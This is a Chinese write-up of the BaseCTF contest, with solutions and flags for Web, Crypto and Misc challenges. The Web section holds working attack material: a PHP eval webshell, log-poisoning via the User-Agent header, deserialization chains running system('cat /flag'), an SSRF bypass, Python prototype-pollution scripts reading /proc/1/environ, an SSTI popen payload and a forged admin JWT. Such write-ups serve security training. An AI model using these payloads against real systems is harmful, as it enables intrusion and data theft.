Web HTTP 是什么呀 本题考查基本的 http 的参数修改和基础 get,post 传参
首先使用 hackbar 插件将 get,post 和 cookie 值传入
然后抓包修改其他题目要求的参数得到 base 编码的字符,解码得到 flag
flag值:BaseCTF{98f2b129-f6ff-4027-991e-7545a499ea74}
喵喵喵´•ﻌ•` 无任何绕过的简单命令执行,先查看根目录,发现 flag,直接cat 拿到 flag
flag值:BaseCTF{197cd90c-ffc8-4fda-8b6b-a34e66314b1d}
md5绕过欸 本题要求 name 的值和 password 的值不相等但是他们的 md5 值要相等,可以使用数组绕过,name2 和 password2 也使用相同的方法绕过
1 2 3 http://challenge.basectf.fun:23519/?name[]=1&name2[]=3 password[]=2&password2[]=4
flag值:BaseCTF{e1f057ba-e68b-44ab-a946-f18620d14df9}
A Dark Room 查看源码,得到 flag
flag值:BaseCTF{c02fe0eb-f407-4c99-b5fc-3ca93d12a199}
upload 文件上传,没有任何绕过,直接上传最普通的一句话木马到服务器,蚁剑连接得到flag
先上传一个php一句话木马,如下
1 <?php @eval ($_POST ['a' ]); ?>
提示上传成功,源码上有上传路径,用蚁剑连接
连接上之后,使用蚁剑终端,查找得到flag,一般都会在根目录
flag值:BaseCTF{b9a49830-0533-410a-bfe0-45c5db2d9a5d}
Aura 酱的礼物 这题我是使用云服务器做的,不过也可以题目多开然后联动,哈哈
file_get_contents
函数可以读取url地址里面的内容,可以在自己云服务器里面设置一个文件1.txt,里面的内容就为 Aura,即可绕过第一层
第二层和第三层都是使用 challenge 参数,但是既要求 challenge 参数前面与 http://jasmineaura.github.io
相同,还要使 file_get_contents($challenge)
读取文件的内容为 已经收到 Kengwang 的礼物啦
这就要利用到ssrf相关知识,在url地址后面使用@符号可以直接访问@后面的url地址使前面的失效,所以我们可以构造 http://jasmineaura.github.io@ip/2.txt
来绕过第二三层
最后使用伪协议读取 flag 就结束了
最终payload如下:
1 pen=http://ip/a.txt&challenge=http://jasmineaura.github.io@ip/b.txt&gift=php://filter/read=convert.base64-encode/resource=flag.php
base64 解码得到 flag
flag值:BaseCTF{5a7a67f0-369c-41e8-b691-40ed7ece5e55}
一起吃豆豆 翻js代码,得到一串base64编码字符串
base64解码,得到flag
flag值:BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}
你听不到我的声音 源码如下:
1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
由于是shell_exec执行的命令,所以没有回显,使用重定相符将命令执行的结果发送到1.txt,再访问1.txt就能看到命令执行的结果
将cat /flag命令的内容写入1.txt,得到flag
flag值:BaseCTF{2232ebf2-919c-44d7-b3a1-4af6982c327a}
RCEisamazingwithspace 利用空格绕过进行命令执行,得到flag
flag值:BaseCTF{8c64b947-00ad-4bfe-9bea-e17c33c3b978}
ez_ser 基础的反序列化,简单分析一下:
new一个web对象使反序列化后触发wakeup()魔术方法
将re类的对象赋值给kw属性,对象被当作属性访问触发tostring魔术方法
将pwn类的对象赋值给chu0,对象被当作函数调用触发get魔术方法
将Misc类的对象赋值给over,访问的就是Misc类里面的getflag函数了,成功执行命令
payload如下:
1 2 3 4 5 6 7 8 $payload =new web ();$payload ->kw=new re ();$payload ->kw->chu0=new pwn ();$payload ->kw->chu0->over=new Misc ();echo serialize ($payload );
flag值:BaseCTF{85b8d39f-0e2e-46e7-8fd8-306ced277cbf}
Really EZ POP 提示PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性,所以我们不能直接修改成员变量的属性,可以先修改为public,等序列化之后再修改回对应的属性。分析如下:
new一个Nature对象使php执行完成后触发__destruct()魔术方法
将Sea类的对象赋值给sea,访问一个对象的不可访问或不存在属性时触发get魔术方法
将Shark类的对象赋值给animal属性,对象被当作函数调用触发invoke魔术方法
将Sink类的对象赋值给word属性,对象被当作函数调用触发tostring魔术方法
将命令赋值给cmd即可进行命令执行
序列化之后再修改回对应的属性,比如属性word和cmd都是private,就在属性前面加上%00类名%00即可
payload如下:
1 nature=O:6 :"Nature" :1 :{s:3 :"sea" ;O:3 :"Sea" :1 :{s:6 :"animal" ;O:5 :"Shark" :1 :{s:11 :"%00Shark%00word" ;O:4 :"Sink" :1 :{s:9 :"%00Sink%00cmd" ;s:20 :"system(" cat /flag");" ;}}}}
flag值:BaseCTF{cfb4a2d7-971e-4456-a339-6a5587ef4052}
所以你说你懂 MD5? 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
算是考察md5方面不错的一道题了,基本把md5的考点总结完了
第一层:md5强比较绕过,数组的md5值都是null,使用数组绕过
第二层:弱比较,要求类型为string,0e开头后面全是数字的字符的md5值相等,利用此特性绕过
第三层:强比较,网上寻找现成的payload,要求它们的内容不同,但md5值相同,或者自己碰撞,注意这里不知道为什么只能抓包修改,hackbar结果不对
第四层:哈希长度拓展攻击,使用脚本伪造即可
payload如下:
1 apple%5 B%5 D=1 &banana%5 B%5 D=2 &appple=s878926199a&bananana=s155964671a&apppple=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2&banananana=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%02 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%d5%5 d%83 %60 %fb%5 f%07 %fe%a2&name=%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %03 %00 %00 %00 %00 %00 %00 admin&md5=1 d40e894fdefe7ff8bf63b1ac69321cb
flag值:BaseCTF{7122180b-eb15-47f6-8d2d-68dd3df9995c}
数学大师 根据需求写脚本即可
简单分析一下:需要获取页面上的算式,计算之后通过post提交,再获取提交后得到的页面上的算式,再post提交,循环50次即可得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requests import time import re url = "http://challenge.basectf.fun:28223/" def fetch_and_calculate (): with requests.Session () as s: initial_response = s.get (url) if initial_response.status_code == 200 : content = initial_response.text expression = extract_expression (content) if expression: result = calculate_expression (expression) print (f"Initial Expression: {expression}" ) print (f"Initial Result: {result}" ) for _ in range (1000 ): post_response = s.post (url, data={'answer' : result}, timeout=5 ) if post_response.status_code == 200 : post_content = post_response.text print (f"Post Response: {post_content}" ) new_expression = extract_expression (post_content) if new_expression: result = calculate_expression (new_expression) print (f"New Expression: {new_expression}" ) print (f"New Result: {result}" ) time.sleep (2 ) def extract_expression (content): match = re.search (r'(-?\d+\s*[+-÷×]\s*-?\d+)' , content) if match : expression = match .group (1 ) return expression.replace ("×" , "*" ).replace ("÷" , "//" ) return None def calculate_expression (expression): return eval (expression) fetch_and_calculate ()
flag值:BaseCTF{d0084018-5841-4dbd-8bd4-be2a6ceafcf6}
滤个不停 过滤了很多伪协议,使用日志文件包含获取flag
nginx的日志文件在 /var/log/nginx/access.log
,先在UA头里写上一句话木马,然后包含日志文件使木马执行
再连接木马写入任意命令
flag值:BaseCTF{2cd503d1-e868-40a3-a2df-2b1f46188792}
玩原神玩的 第一层:判断传的数组是否和array数组大小相等,爆破大小绕过
第二层:传入 我要玩原神 即可
第三层:传入m数组,其中m[0]是字符串100%,m[1]是字符串love100%拼接m[0]的md5值。%要url编码
第四层:将给定的md5数组与当前索引异或,得到flag
payload如下:
1 len[0 ]=0 &len[1 ]=0 &len[2 ]=0 &len[3 ]=0 &len[4 ]=0 &len[5 ]=0 &len[6 ]=0 &len[7 ]=0 &len[8 ]=0 &len[9 ]=0 &len[10 ]=0 &len[11 ]=0 &len[12 ]=0 &len[13 ]=0 &len[14 ]=0 &len[15 ]=0 &len[16 ]=0 &len[17 ]=0 &len[18 ]=0 &len[19 ]=0 &len[20 ]=0 &len[21 ]=0 &len[22 ]=0 &len[23 ]=0 &len[24 ]=0 &len[25 ]=0 &len[26 ]=0 &len[27 ]=0 &len[28 ]=0 &len[29 ]=0 &len[30 ]=0 &len[31 ]=0 &len[32 ]=0 &len[33 ]=0 &len[34 ]=0 &len[35 ]=0 &len[36 ]=0 &len[37 ]=0 &len[38 ]=0 &len[39 ]=0 &len[40 ]=0 &len[41 ]=0 &len[42 ]=0 &len[43 ]=0 &len[44 ]=0 &m[0 ]=100 %25 &m[1 ]=love100%2530 bd7ce7de206924302499f197c7a966
传入之后得到md5数组,写脚本异或并爆破md5值,得到flag,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from hashlib import md5list = ["3295c76acbf4caaed33c36b1b5fc2cb1" ,"26657d5ff9020d2abefe558796b99584" ,"73278a4a86960eeb576a8fd4c9ec6997" ,"ec8956637a99787bd197eacd77acce5e" ,"e2c420d928d4bf8ce0ff2ec19b371514" ,"43ec517d68b6edd3015b3edc9a11367b" ,"ea5d2f1c4608232e07d3aa3d998e5135" ,"c8ffe9a587b126f152ed3d89a146b445" ,"072b030ba126b2f4b2374f342be9ed44" ,"2723d092b63885e0d7c260cc007e8b9d" ,"72b32a1f754ba1c09b3695e0cb6cde7f" ,"65b9eea6e1cc6bb9f0cd2a47751a186f" ,"072b030ba126b2f4b2374f342be9ed44" ,"9a1158154dfa42caddbd0694a4e9bdc8" ,"66f041e16a60928b05a7e228a89c3799" ,"03afdbd66e7929b125f8597834fa83a4" ,"7f39f8317fbdb1988ef4c628eba02591" ,"1c383cd30b7c298ab50293adfecb7b18" ,"73278a4a86960eeb576a8fd4c9ec6997" ,"7f6ffaa6bb0b408017b62254211691b5" ,"a5771bce93e200c36f7cd9dfd0e5deaa" ,"9f61408e3afb633e50cdf1b20de6f466" ,"e369853df766fa44e1ed0ff613f563bd" ,"6364d3f0f495b6ab9dcf8d3b5c6e0b01" ,"c8ffe9a587b126f152ed3d89a146b445" ,"182be0c5cdcd5072bb1864cdee4d3d6e" ,"b53b3a3d6ab90ce0268229151c9bde11" ,"1c383cd30b7c298ab50293adfecb7b18" ,"da4fb5c6e93e74d3df8527599fa62642" ,"19ca14e7ea6328a42e0eb13d585e4c22" ,"d645920e395fedad7bbbed0eca3fe2e0" ,"c0c7c76d30bd3dcaefc96f40275bdc0a" ,"c74d97b01eae257e44aa9d5bade97baf" ,"e2c420d928d4bf8ce0ff2ec19b371514" ,"b6d767d2f8ed5d21a44b0e5886680cb9" ,"c74d97b01eae257e44aa9d5bade97baf" ,"70efdf2ec9b086079795c442636b55fb" ,"735b90b4568125ed6c3f678819b6e058" ,"37693cfc748049e45d87b8c7d8b9aacd" ,"34173cb38f07f89ddbebc2ac9128303f" ,"c74d97b01eae257e44aa9d5bade97baf" ,"34173cb38f07f89ddbebc2ac9128303f" ,"d2ddea18f00665ce8623e36bd4e3c7c5" ,"ad61ab143223efbc24c7d2583be69251" ,"43ec517d68b6edd3015b3edc9a11367b" ]flag='' for i in range (len (list )): for c in range (127 ): if (md5 (str (c^i).encode ()).hexdigest ()==list [i]): flag+=chr (c) break print (flag)
ez_php_jail 当 php版本小于8时,GET请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
过滤了几个常见的字符,phpinfo
查看可以看到禁用了很多函数
可以使用 highlight_file
绕过
1 ?Jail[by.Happy=highlight_file (glob ("/f*" )[0 ]);
flag值:BaseCTF{5198e2bf-e639-4689-b88c-2df13659e475}
No JWT 考察 jwt 伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requests import jwt import datetime url = 'http://challenge.basectf.fun:36757/' login_url = f'{url}/login' login_data = { 'username' : 'your_username' , 'password' : 'your_password' } login_headers = {'Content-Type' : 'application/json' } login_response = requests.post (login_url, json=login_data, headers=login_headers) login_response_json = login_response.json () token = login_response_json.get ('token' ) print (token)
将获取到的 token 进行伪造,这里没有密钥,可以直接修改
将生成的 token 放进去,发送到flag地址,获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 new_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ5b3VyX3VzZXJuYW1lIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI2Mzg2Mjk0fQ.1N3PpqBQmbSAlHrsAm2dC3TVg59UH2cw0t12-l4ZZ4Y" flag_url = f'{url}/flag' flag_headers = { 'Authorization' : f'Bearer {new_token}' , 'Content-Type' : 'application/json' } flag_response = requests.get (flag_url, headers=flag_headers) print (flag_response.json ())
flag值:BaseCTF{a77d20b6-2197-4d9a-a7d2-1fb3fe1c4ded}
flag直接读取不就行了? 考察php原生类利用
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );
先使用原生类DirectoryIterator遍历目录找到flag所在位置
再用SplFileObject遍历读取文件每一行,得到flag
flag值:BaseCTF{b1d30f40-2f69-49ed-a7a4-1b229315ad1b}
1z_php 第一层:参数构造和上面某题一样,传参带上小数即可绕过
第二层:回溯次数绕过,超过preg_match所能匹配的极限
第三层:原生类利用+php伪协议绕过
payload如下:
1 ?e[m.p=114514.2 &a=SplFileObject &b=php:
post利用回溯次数绕过即可,代码生成如下:
1 2 str = 'a' *10000000 + 'HACKER' print (str)
base64解码得到flag
flag值:BaseCTF{164c6c84-05f3-4631-8911-268e59addce9}
Back to the future 考察git泄露,使用工具githacker
将git文件下载下来,只有一个readme文件,使用git log命令查看历史记录,再使用 git checkout hash值 恢复文件
flag值:BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}
圣钥之战1.0 访问read路由阅读源码,发现是python原型链污染的题,只要修改全局变量的值就能读取flag
将payload通过post方式提交到pollute路由修改全局变量的值为环境变量,访问全局变量得到环境变量里的payload
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requests import json payload= { "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F" : { "__globals__" : { "__file__" : "../../../proc/1/environ" } } } json_payload = json.dumps (payload) response = requests.post ( "http://challenge.basectf.fun:41643/pollute" , data=json_payload, headers={"Content-Type" : "application/json" } ) print (response.text)url2 = "http://challenge.basectf.fun:41643/read" response2 = requests.get (url2) print (response2.text)
flag值:BaseCTF{353f4e5b-7a6b-432d-9816-c72675ecee6f}
Jinja Mark 访问/flag路由,提示要post提交一个四位数,使用burp爆破数值爆破
爆破得到一个长度不一样的,发现有东西,还是python原型链污染
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst): for k, v in src.items (): if hasattr (dst, '__getitem__' ): if dst.get (k) and type (v) == dict: merge (v, dst.get (k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict: merge (v, getattr (dst, k)) else : setattr (dst, k, v) @app.route ('/magic' ,methods=['POST' , 'GET' ]) def pollute (): if request.method == 'POST' : if request.is_json: merge (json.loads (request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
我们只需要将全局变量BLACKLIST_IN_index的值进行修改,就可以使用ssti来进行模版注入了,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import json url = "http://challenge.basectf.fun:42857/magic" payload = { "__class__" :{ "__init__" :{ "__globals__" :{ "BLACKLIST_IN_index" : [] } } } } payload_json = json.dumps (payload) print (payload_json)response = requests.post (url, data=payload_json, headers={'Content-Type' : 'application/json' }) print ("Status Code:" , response.status_code)print ("Response Content:" , response.text)
运行结束后,就可以在index路由进行模版注入了,payload如下:
1 {{config.__class__.__init__.__globals__['os' ].popen ('cat /flag' ).read ()}}
flag值:BaseCTF{92a7831e-9c70-4585-b1bf-b8652b9ccf4a}
Crypto babypack 考察背包密码系统,DASCTF夏季赛也出过类似的题,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import long_to_bytesa= 省略具体值 c= 省略具体值 bin_m = '' for value in a: if c >= value: bin_m += '1' c -= value else : bin_m += '0' m = int (bin_m, 2 ) flag = long_to_bytes(m) print ("flag:" , flag)flag: b'BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9}'
flag值:BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9}
babyrsa 根据题目可知,n是素数,n的欧拉为n-1而不是(p-1)(q-1),脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import libnumn = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323 phi_n = n - 1 e = 65537 c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832 d=libnum.invmod(e,phi_n) m=pow (c,d,n) print (m)print (libnum.n2s(int (m)).decode())
flag值:BaseCTF{7d7c90ae-1127-4170-9e0d-d796efcd305b}
十七倍 隔壁moectf逆向进阶讲的例子刚好是这个数,可以直接用
原理也很简单,模运算乘法逆元,在实数域运算中,flag[i] * 17 = cipher[i]
,flag[i] = cipher[i] / 17
是不准确的,会导致精度丢失,需要乘除数的逆元再模256,17的逆元是241
脚本如下:
1 2 3 4 5 6 7 list_1 = [ 98 , 113 , 163 , 181 , 115 , 148 , 166 , 43 , 9 , 95 , 165 , 146 , 79 , 115 , 146 , 233 , 112 , 180 , 48 , 79 , 65 , 181 , 113 , 146 , 46 , 249 , 78 , 183 , 79 , 133 , 180 , 113 , 146 , 148 , 163 , 79 , 78 , 48 , 231 , 77 ]for i in list_1: flag = i * 241 % 256 print (chr (flag),end="" )
flag值:BaseCTF{yoUr_CrYpt0_1earNinG_5tarTs_n0w}
helloCrypto AES解密,一般我习惯先把密文和keybase64编码一下看着舒服,然后直接使用在线工具求解,需要注意加密模式和题目上的相同,别选错了
flag值:BaseCTF{b80bf679-1869-4fde-b3f9-d51b872d31fb}
ez_rsa 利用初中或者高中的知识,可以根据n和not_phi得到phi,不过注意不过注意最后除二要取整,否则得出的数不是整数会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import libnumn = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 e = 65537 phi_n = (3 *n - not_phi + 6 ) // 2 d=libnum.invmod(e,phi_n) m=pow (c,d,n) print (m)print (libnum.n2s(int (m)).decode())
flag值:BaseCTF{it_1s_ez!!}
你会算md5吗 分析题目,本题把flag每个字符的提取出来进行md5加密,以列表形式输出,我们只需要对每个字符md5爆破就能得到flag,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import hashliboutput = ['9d5ed678fe57bcca610140957afab571' , '0cc175b9c0f1b6a831c399e269772661' , '03c7c0ace395d80182db07ae2c30f034' , 'e1671797c52e15f763380b45e841ec32' , '0d61f8370cad1d412f80b84d143e1257' , 'b9ece18c950afbfa6b0fdbfa4ff731d3' , '800618943025315f869e4e1f09471012' , 'f95b70fdc3088560732a5ac135644506' , '0cc175b9c0f1b6a831c399e269772661' , 'a87ff679a2f3e71d9181a67b7542122c' , '92eb5ffee6ae2fec3ad71c777531578f' , '8fa14cdd754f91cc6554c9e71929cce7' , 'a87ff679a2f3e71d9181a67b7542122c' , 'eccbc87e4b5ce2fe28308fd9f2a7baf3' , '0cc175b9c0f1b6a831c399e269772661' , 'e4da3b7fbbce2345d7772b0674a318d5' , '336d5ebc5436534e61d16e63ddfca327' , 'eccbc87e4b5ce2fe28308fd9f2a7baf3' , '8fa14cdd754f91cc6554c9e71929cce7' , '8fa14cdd754f91cc6554c9e71929cce7' , '45c48cce2e2d7fbdea1afc51c7c6ad26' , '336d5ebc5436534e61d16e63ddfca327' , 'a87ff679a2f3e71d9181a67b7542122c' , '8f14e45fceea167a5a36dedd4bea2543' , '1679091c5a880faf6fb5e6087eb1b2dc' , 'a87ff679a2f3e71d9181a67b7542122c' , '336d5ebc5436534e61d16e63ddfca327' , '92eb5ffee6ae2fec3ad71c777531578f' , '8277e0910d750195b448797616e091ad' , '0cc175b9c0f1b6a831c399e269772661' , 'c81e728d9d4c2f636f067f89cc14862c' , '336d5ebc5436534e61d16e63ddfca327' , '0cc175b9c0f1b6a831c399e269772661' , '8fa14cdd754f91cc6554c9e71929cce7' , 'c9f0f895fb98ab9159f51fd0297e236d' , 'e1671797c52e15f763380b45e841ec32' , 'e1671797c52e15f763380b45e841ec32' , 'a87ff679a2f3e71d9181a67b7542122c' , '8277e0910d750195b448797616e091ad' , '92eb5ffee6ae2fec3ad71c777531578f' , '45c48cce2e2d7fbdea1afc51c7c6ad26' , '0cc175b9c0f1b6a831c399e269772661' , 'c9f0f895fb98ab9159f51fd0297e236d' , '0cc175b9c0f1b6a831c399e269772661' , 'cbb184dd8e05c9709e5dcaedaa0495cf' ] for target_md5 in output: for x in range (0 , 127 ): single_char = chr (x).encode('utf-8' ) hash_object = hashlib.md5(single_char) hex_digest = hash_object.hexdigest() if hex_digest == target_md5: print (f"{chr (x)} " ,end="" )
flag值:BaseCTF{a4bf43a5-3ff9-4764-bda2-af8ee4db9a8a}
Misc 你也喜欢圣物吗 考点:base编码,lsb隐写,伪加密
解题思路:图片首先放入010查看,发现文件尾部有base64编码,用cyberchef解码
提示lsb隐写,用stegslove打开得到key,这就是压缩包密码,打开压缩包
打开后下面是一层伪加密,使用随波逐流修改伪加密,得到flag,注意文件里面第一个flag是假的,往下翻会看到第二个base编码的flag,解码得到真正的flag
flag值:BaseCTF{1u0_q1_x1_51k1}
根本进不去啊! 阿里云检测网站可以直接查到dns的解析记录,得到flag
flag:BaseCTF{h0h0_th1s_15_dns_rec0rd}
海上遇到了鲨鱼 wireshark打开流量包,过滤http请求,查看最后一个访问flag.php的响应包,得到逆序的flag
写一个逆序的小脚本,运行得到flag
1 2 3 4 flag = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB" print (flag[::-1 ])
flag值:BaseCTF{15ef386b-a3a7-7344-3b05-ac367316fb76}
正着看还是反着看呢? 010打开文件,观察字节规律发现文件是jpg和zip压缩包的字节逆序,写脚本将文件字节进行逆序
脚本如下:
1 2 3 4 5 6 with open (r"C:\Users\atlan\Downloads\flag" , "rb" ) as fi: flag = fi.read()[::-1 ] with open (r"C:\Users\atlan\Downloads\flag.jpg" , "wb" ) as fo: fo.write(flag)
得到文件后打开图片,没什么信息,010手动把图片后面的压缩包分离,解压即可得到flag
flag值:BaseCTF{h3ll0_h4cker}